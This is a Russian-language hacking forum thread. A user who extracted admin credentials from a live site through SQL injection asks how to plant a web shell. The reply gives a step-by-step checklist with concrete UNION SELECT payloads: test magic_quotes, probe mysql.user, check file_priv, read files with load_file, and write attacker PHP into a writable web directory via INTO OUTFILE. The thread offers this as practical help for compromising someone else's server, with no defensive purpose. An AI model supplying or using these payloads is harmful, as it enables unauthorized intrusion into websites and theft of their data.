Сообщение от
Vlad3d
есть сайт с sql inj, через нее удалось достать логин и пароль администратора, но в админки нет ни единого намека на заливку файлов/картинок и прочего... Так вот, можно ли залить шелл через sql или еще как нибудь ?
P.S. только начал изучать sql inj нашел много статей интересных, а про шеллы почти ничего нет(только то что можно залить через админку).
Попробуй поискать инклюды в админке. Для заливки шелла через инжект Проверь эти пункты:
1. Экранирование ковычек он же
magic_quotes_qpc. Эта шняга должна быть установлена на off в php.ini. Попробуй в любое поле вписать текст 'lol' и если запрос обработается успешно и выведет "lol", то по первому пункту проходит.
2. Права доступа к счеме mysql. Попробуй вывести что угодно, даже циферки из mysql.user. Пример :
UNION SELECT 1,2,3 from mysql.user. Если запрос обработается также как и при UNION SELECT 1,2,3, то по этому пункту тоже проходит.
3. file_priv. Сперва узнаем через какого юзера мы подключены к бд. Для этого отправляем запрос
UNION SELECT user(),2,3. Например нам вывело root@localhost. Теперь проверяем file_priv у нашего юзера - select file_priv,2,3 from mysql.user where user='root' (если magic_quotes_qpc=on, то root заменить на хекс - 0x726F6F74. Соответственно мы тогда не проходим по 1 пункту, но зато можем читать файлы через функцию
load_file). Если выдало Y - у нашего юзера есть файл привелигии и мы проходим по этому пункту else не проходим
4. Путь. Мы должны знать полный путь от корня сервера. например: /home/www/site/
5. Возможность запись в папку. Если не пишется в /home/www/site/ можно попробовать записать в /home/www/site/images/ к примеру.
Собственно как лить :
union select 'наш пхп код',2,3 from mysql.user into outfile '/home/www/site/images/lol.php' . Если по всем вышеперечисленным пунктам все ок и вы сделали все правильно, то по адресу http://site/images/lol.php будет лежать наш файлиг. Если что-то непонятно пиши в пм - всегда рад помочь